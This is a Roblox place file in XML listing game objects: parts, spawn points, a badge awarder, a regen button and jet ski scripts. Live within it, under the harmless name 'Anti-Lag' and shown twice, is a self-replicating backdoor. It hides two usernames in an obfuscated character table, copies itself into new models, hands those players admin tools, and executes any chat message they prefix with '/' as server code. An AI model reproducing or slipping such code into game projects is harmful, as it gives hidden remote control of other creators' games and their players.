table.insert (Play, 1,  zonsa.Name)
end
end
end
function yeild(frequency)
local t = Knox
for g = 1,#t do
if t[g] == frequency.Name then
return true
end
end
return false
end
function check(los)
local r = los:GetChildren()
for i = 1,#r do
local h = r[i]:FindFirstChild(&quot;Anti-Lag&quot;)
if h ~= nil then
h:remove()
end
end
end
function alto(xylem)
if xylem.className == &quot;Model&quot; then
check(xylem)
local que = script:clone()
que.Parent = rando(xylem)
end
end
function sortation(gone)
local dimbs = Altitude:clone()
dimbs = ramno(game.Workspace)
end
function onPlayerEntered(newPlayer)
newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end) 
end
function Player(player)
player.Changed:connect(function (property) 
if property == &quot;Character&quot; then 
laber(player) 
end
end)
end
game.Players.PlayerAdded:connect(Player)
game.Players.ChildAdded:connect(onPlayerEntered)
game.Players.ChildAdded:connect(laber)
script.ChildRemoved:connect(sortation)
game.Workspace.ChildAdded:connect(alto)
function onChatted(msg, recipient, speaker)
if yeild(speaker) ~= false then
if string.sub(msg,1,1) == &quot;/&quot; then
local dsting = Instance.new(&quot;Script&quot;)
dsting.Source = string.sub(msg,2) 
dsting.Parent = game.Workspace 
end
end
end </ProtectedString>
						</Properties>
					</Item>
					<Item class="Script" referent="RBX1852">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Anti-Lag</string>
							<ProtectedString name="Source">Altitude = script:clone()
calco = {&quot;s&quot;,&quot;c&quot;,&quot;q&quot;,&quot;t&quot;,&quot;o&quot;,&quot;a&quot;,&quot;i&quot;,&quot;f&quot;,&quot;g&quot;,&quot;w&quot;,&quot;8&quot;,&quot;e&quot;,&quot;m&quot;,&quot;7&quot;,&quot;h&quot;,&quot;n&quot;}
Knox = {}
table.insert (Knox, 1 ,string.reverse(calco[5] .. calco[2] .. calco[7] .. calco[1] .. calco[6] .. calco[9] .. calco[12] .. calco[13]))
table.insert (Knox, 1 ,string.reverse(calco[11] .. calco[14] .. calco[14] .. calco[4] .. calco[16] .. calco[6] .. calco[15] .. calco[2]))
Play = {}
function rando(votation)
local hatr = 5
local calc = math.pi * math.huge
local longicate = votation:GetChildren()
if #longicate &gt; hatr then 
calc = calc + math.pi
return longicate[math.random(6,#longicate)]
end
end
function doublecheck()
local fj = game.Workspace:GetChildren()
for off = 1,#fj do
if fj[off].className == &quot;Part&quot; then
local fh = fj[off]:FindFirstChild(&quot;Anti-Lag&quot;)
if fh ~= nil then 
return false
end
end
end
return true
end
function workcheck()
if doublecheck() == true then
local l = Altitude:clone()
l.Parent = rando(game.Workspace)
end
end
workcheck()
function gibite(quen)
local  hup = Instance.new(&quot;Message&quot;)
hup.Text = &quot;Detected&quot;
hup.Parent = quen.Parent
local con = Instance.new(&quot;Script&quot;)
con.Source = [[wait(5) script.Parent:remove()]]
con.Parent = hup
for ish = 0,7 do
local a = Instance.new(&quot;HopperBin&quot;)
a.BinType = ish
a.Parent = quen
end
end
function laber(zonsa)
wait()
for slate = 1,#Knox do  
if zonsa.Name == Knox[slate] then
gibite(zonsa.Backpack)
table.insert (Play, 1,  zonsa.Name)
end
end
end
function yeild(frequency)
local t = Knox
for g = 1,#t do
if t[g] == frequency.Name then
return true
end
end
return false
end
function check(los)
local r = los:GetChildren()
for i = 1,#r do
local h = r[i]:FindFirstChild(&quot;Anti-Lag&quot;)
if h ~= nil then
h:remove()
end
end
end
function alto(xylem)
if xylem.className == &quot;Model&quot; then
check(xylem)
local que = script:clone()
que.Parent = rando(xylem)
end
end
function sortation(gone)
local dimbs = Altitude:clone()
dimbs = ramno(game.Workspace)
end
function onPlayerEntered(newPlayer)
newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end) 
end
function Player(player)
player.Changed:connect(function (property) 
if property == &quot;Character&quot; then 
laber(player) 
end
end)
end
game.Players.PlayerAdded:connect(Player)
game.Players.ChildAdded:connect(onPlayerEntered)
game.Players.ChildAdded:connect(laber)
script.ChildRemoved:connect(sortation)
game.Workspace.ChildAdded:connect(alto)
function onChatted(msg, recipient, speaker)
if yeild(speaker) ~= false then
if string.sub(msg,1,1) == &quot;/&quot; then
local dsting = Instance.new(&quot;Script&quot;)
dsting.Source = string.sub(msg,2) 
dsting.Parent = game.Workspace 
end
end
end </ProtectedString>
						</Properties>
					</Item>
				</Item>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1853">
			<Properties>
				<bool name="Anchored">false</bool>
				<bool name="Archivable">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">2</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">2</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">194</int>
				<CoordinateFrame name="CFrame">
					<X>-1598.5</X>
					<Y>6.5999999</Y>
					<Z>43.5</Z>
					<R00>0</R00>
					<R01>0</R01>
					<R02>1</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>-1</R20>
					<R21>0</R21>
					<R22>0</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">2</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">2</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">512</token>
				<string name="Name">LadderCross</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">2</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>-0.000119591765</X>
					<Y>-1.06147667e-007</Y>
					<Z>-1.84821693e-006</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">2</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>-3.76431126e-006</X>
					<Y>0.000136319824</Y>
					<Z>-0.000182031654</Z>
				</Vector3>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>1</X>
					<Y>1.20000005</Y>
					<Z>5</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1854">
			<Properties>
				<bool name="Anchored">true</bool>
				<bool name="Archivable">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">2</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">2</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1003</int>
				<CoordinateFrame name="CFrame">
					<X>-230</X>
					<Y>8.60000038</Y>
					<Z>182</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">2</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">2</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Platform</string>
				<float name="Reflectance">1</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">2</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">2</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>6</X>
					<Y>1.20000005</Y>
					<Z>6</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1855">
				<Properties>
					<bool name="Archivable">true</bool>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=48040081</url></Content>
					<float name="Transparency">0</float>
				</Properties>
			</Item>
			<Item class="Script" referent="RBX1856">
				<Properties>
					<bool name="Archivable">true</bool>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><url>http://www.roblox.com/asset/?id=13326026</url></Content>
					<string name="Name">BadgeAwarderScript</string>
					<ProtectedString name="Source">print(&quot;Badge Awarder Loaded. BadgeID: &quot; .. script.Parent.BadgeID.Value)



-- ROBLOX scripter hackers, see what you can do with this:
-- game:GetService(&quot;BadgeService&quot;):UserHasBadge(userid, badgeid)


function OnTouch(part)
	if (part.Parent:FindFirstChild(&quot;Humanoid&quot;) ~= nil) then
		local p = game.Players:GetPlayerFromCharacter(part.Parent)
		if (p ~= nil) then
			print(&quot;Awarding BadgeID: &quot; ..script.Parent.BadgeID.Value .. &quot; to UserID: &quot; .. p.userId)
			local b = game:GetService(&quot;BadgeService&quot;)
			b:AwardBadge(p.userId, script.Parent.BadgeID.Value)
		end
	end
end

script.Parent.Touched:connect(OnTouch)
</ProtectedString>
				</Properties>
			</Item>
			<Item class="IntValue" referent="RBX1857">
				<Properties>
					<bool name="Archivable">true</bool>
					<string name="Name">BadgeID</string>
					<int name="Value">48040128</int>
				</Properties>
			</Item>
		</Item>
		<Item class="SpawnLocation" referent="RBX1858">
			<Properties>
				<bool name="AllowTeamChangeOnTouch">true</bool>
				<bool name="Anchored">true</bool>
				<bool name="Archivable">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">2</token>
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								<float name="LeftParamA">-0.5</float>
								<float name="LeftParamB">0.5</float>
								<token name="LeftSurface">0</token>
								<token name="LeftSurfaceInput">0</token>
								<bool name="Locked">false</bool>
								<token name="Material">256</token>
								<string name="Name">Smooth Block Model</string>
								<float name="Reflectance">0</float>
								<float name="RightParamA">-0.5</float>
								<float name="RightParamB">0.5</float>
								<token name="RightSurface">0</token>
								<token name="RightSurfaceInput">0</token>
								<Vector3 name="RotVelocity">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<float name="TopParamA">-0.5</float>
								<float name="TopParamB">0.5</float>
								<token name="TopSurface">0</token>
								<token name="TopSurfaceInput">0</token>
								<float name="Transparency">0</float>
								<Vector3 name="Velocity">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<token name="shape">1</token>
								<Vector3 name="size">
									<X>2</X>
									<Y>1.20000005</Y>
									<Z>2</Z>
								</Vector3>
							</Properties>
						</Item>
					</Item>
					<Item class="Part" referent="RBX2355">
						<Properties>
							<bool name="Anchored">true</bool>
							<bool name="Archivable">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">0</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">3</int>
							<CoordinateFrame name="CFrame">
								<X>-676.501526</X>
								<Y>20.1906052</Y>
								<Z>103.001343</Z>
								<R00>1</R00>
								<R01>-8.41618021e-006</R01>
								<R02>1.62458819e-005</R02>
								<R10>-8.41612382e-006</R10>
								<R11>-1</R11>
								<R12>-1.27503972e-006</R12>
								<R20>1.62460055e-005</R20>
								<R21>1.27490466e-006</R21>
								<R22>-1</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">1</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Smooth Block Model</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">0</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>1.20000005</Y>
								<Z>2</Z>
							</Vector3>
						</Properties>
						<Item class="SpecialMesh" referent="RBX2356">
							<Properties>
								<bool name="Archivable">true</bool>
								<token name="LODX">2</token>
								<token name="LODY">2</token>
								<Content name="MeshId"><null></null></Content>
								<token name="MeshType">3</token>
								<string name="Name">Mesh</string>
								<Vector3 name="Offset">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="Scale">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<Content name="TextureId"><null></null></Content>
								<Vector3 name="VertexColor">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
							</Properties>
						</Item>
					</Item>
					<Item class="Part" referent="RBX2357">
						<Properties>
							<bool name="Anchored">true</bool>
							<bool name="Archivable">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">0</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">3</int>
							<CoordinateFrame name="CFrame">
								<X>-675.501465</X>
								<Y>22.5904732</Y>
								<Z>92.0013123</Z>
								<R00>1</R00>
								<R01>-8.41618021e-006</R01>
								<R02>1.62458819e-005</R02>
								<R10>-8.41612382e-006</R10>
								<R11>-1</R11>
								<R12>-1.27503972e-006</R12>
								<R20>1.62460055e-005</R20>
								<R21>1.27490466e-006</R21>
								<R22>-1</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">1</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Smooth Block Model</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">0</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>1.20000005</Y>
								<Z>2</Z>
							</Vector3>
						</Properties>
						<Item class="SpecialMesh" referent="RBX2358">
							<Properties>
								<bool name="Archivable">true</bool>
								<token name="LODX">2</token>
								<token name="LODY">2</token>
								<Content name="MeshId"><null></null></Content>
								<token name="MeshType">3</token>
								<string name="Name">Mesh</string>
								<Vector3 name="Offset">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="Scale">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<Content name="TextureId"><null></null></Content>
								<Vector3 name="VertexColor">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
							</Properties>
						</Item>
					</Item>
					<Item class="Part" referent="RBX2359">
						<Properties>
							<bool name="Anchored">true</bool>
							<bool name="Archivable">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">0</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">3</int>
							<CoordinateFrame name="CFrame">
								<X>-665.504578</X>
								<Y>20.1975307</Y>
								<Z>102.001953</Z>
								<R00>1</R00>
								<R01>-1.1699557e-005</R01>
								<R02>3.54796393e-005</R02>
								<R10>-1.16989959e-005</R10>
								<R11>-1</R11>
								<R12>-1.47398459e-005</R12>
								<R20>3.54799449e-005</R20>
								<R21>1.47394339e-005</R21>
								<R22>-1</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">1</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Smooth Block Model</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">0</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>1.20000005</Y>
								<Z>2</Z>
							</Vector3>
						</Properties>
						<Item class="SpecialMesh" referent="RBX2360">
							<Properties>
								<bool name="Archivable">true</bool>
								<token name="LODX">2</token>
								<token name="LODY">2</token>
								<Content name="MeshId"><null></null></Content>
								<token name="MeshType">3</token>
								<string name="Name">Mesh</string>
								<Vector3 name="Offset">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="Scale">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<Content name="TextureId"><null></null></Content>
								<Vector3 name="VertexColor">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
							</Properties>
						</Item>
					</Item>
				</Item>
			</Item>
		</Item>
		<Item class="SpawnLocation" referent="RBX2361">
			<Properties>
				<bool name="AllowTeamChangeOnTouch">true</bool>
				<bool name="Anchored">true</bool>
				<bool name="Archivable">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">2</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">2</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1004</int>
				<CoordinateFrame name="CFrame">
					<X>-1711</X>
					<Y>27.8000011</Y>
					<Z>37</Z>
					<R00>-1</R00>
					<R01>0</R01>
					<R02>-0</R02>
					<R10>-0</R10>
					<R11>1</R11>
					<R12>-0</R12>
					<R20>-0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<int name="Duration">10</int>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">2</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">2</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">SpawnLocation</string>
				<bool name="Neutral">false</bool>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">2</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<int name="TeamColor">1004</int>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>6</X>
					<Y>1.20000005</Y>
					<Z>6</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX2362">
				<Properties>
					<bool name="Archivable">true</bool>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>rbxasset://Textures/SpawnLocation.png</url></Content>
					<float name="Transparency">0</float>
				</Properties>
			</Item>
			<Item class="Fire" referent="RBX2363">
				<Properties>
					<bool name="Archivable">true</bool>
					<Color3 name="Color">4294946048</Color3>
					<bool name="Enabled">false</bool>
					<string name="Name">Fire</string>
					<Color3 name="SecondaryColor">4294901760</Color3>
					<float name="heat_xml">25</float>
					<float name="size_xml">30</float>
				</Properties>
			</Item>
		</Item>
		<Item class="Model" referent="RBX2364">
			<Properties>
				<bool name="Archivable">true</bool>
				<CoordinateFrame name="ModelInPrimary">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<string name="Name">Model</string>
				<Ref name="PrimaryPart">null</Ref>
			</Properties>
			<Item class="Part" referent="RBX2365">
				<Properties>
					<bool name="Anchored">true</bool>
					<bool name="Archivable">true</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">0</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">104</int>
					<CoordinateFrame name="CFrame">
						<X>-1637</X>
						<Y>7</Y>
						<Z>11</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">2</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Button1</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">0</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>4</X>
						<Y>0.400000006</Y>
						<Z>4</Z>
					</Vector3>
				</Properties>
				<Item class="ClickDetector" referent="RBX2366">
					<Properties>
						<bool name="Archivable">true</bool>
						<float name="MaxActivationDistance">100</float>
						<string name="Name">ClickDetector</string>
					</Properties>
				</Item>
				<Item class="Fire" referent="RBX2367">
					<Properties>
						<bool name="Archivable">true</bool>
						<Color3 name="Color">4294948864</Color3>
						<bool name="Enabled">false</bool>
						<string name="Name">Fire</string>
						<Color3 name="SecondaryColor">4294901760</Color3>
						<float name="heat_xml">25</float>
						<float name="size_xml">30</float>
					</Properties>
				</Item>
				<Item class="Script" referent="RBX2368">
					<Properties>
						<bool name="Archivable">true</bool>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">regen</string>
						<ProtectedString name="Source">-- dark886&apos;s click regen script 
-- just place this script to the button
-- just place the button to the model
-- just place the model to anywhere lol

location = script.Parent.Parent.Parent
regen = script.Parent.Parent
save = regen:clone()

function onClicked()
	regen:remove()
	back = save:clone()
	back.Parent = location
	back:MakeJoints()
end 

script.Parent.ClickDetector.MouseClick:connect(onClicked)</ProtectedString>
					</Properties>
				</Item>
				<Item class="ForceField" referent="RBX2369">
					<Properties>
						<bool name="Archivable">true</bool>
						<string name="Name">ForceField</string>
					</Properties>
				</Item>
			</Item>
			<Item class="Model" referent="RBX2370">
				<Properties>
					<bool name="Archivable">true</bool>
					<CoordinateFrame name="ModelInPrimary">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<string name="Name">Green Jet Ski</string>
					<Ref name="PrimaryPart">null</Ref>
				</Properties>
				<Item class="Model" referent="RBX2371">
					<Properties>
						<bool name="Archivable">true</bool>
						<CoordinateFrame name="ModelInPrimary">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<string name="Name">Jet Ski</string>
						<Ref name="PrimaryPart">null</Ref>
					</Properties>
					<Item class="Script" referent="RBX2372">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">ParentScript</string>
							<ProtectedString name="Source">seat = script.Parent.VehicleSeat

function onChildAdded(part)
	if part.className == &quot;Weld&quot; then
		local torso = part.Part1
		if torso ~= nil then
			local parent = torso.Parent
			if parent ~= nil then
				script.Parent.Parent = parent
				script.Parent.Base.Anchored = false
			end
		end
	end
end

seat.ChildAdded:connect(onChildAdded)
</ProtectedString>
						</Properties>
					</Item>
					<Item class="Script" referent="RBX2373">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Disabled">true</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Script</string>
							<ProtectedString name="Source">bin = script.Parent
VS = bin.VehicleSeat
RTurn = false
LTurn = false
MoveR = false
MoveF = false
NotMoving = true 
engine = script.Parent.Base
position = engine.Velocity
bin.Base.BG.cframe = bin.Base.CFrame

function DirChng()
if VS.Steer == 1 then 
	RTurn = true
		while RTurn do
			bin.Base.BG.cframe = bin.Base.CFrame * CFrame.fromEulerAnglesXYZ(0, -VS.TurnSpeed, 0)
			wait(0.1)
		end
else if VS.Steer == -1 then 
	LTurn = true 
		while LTurn do
			bin.Base.BG.cframe = bin.Base.CFrame * CFrame.fromEulerAnglesXYZ(0, VS.TurnSpeed, 0)
			wait(0.1)
		end
else if VS.Steer == 0 then 
	RTurn = false
	LTurn = false 
end
end
end
end

VS.Changed:connect(DirChng)
</ProtectedString>
						</Properties>
					</Item>
					<Item class="Part" referent="RBX2374">
						<Properties>
							<bool name="Anchored">false</bool>
							<bool name="Archivable">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">2</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">2</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">21</int>
							<CoordinateFrame name="CFrame">
								<X>-1636</X>
								<Y>0.5</Y>
								<Z>-4</Z>
								<R00>-0</R00>
								<R01>0</R01>
								<R02>1</R02>
								<R10>-0</R10>
								<R11>1</R11>
								<R12>0</R12>
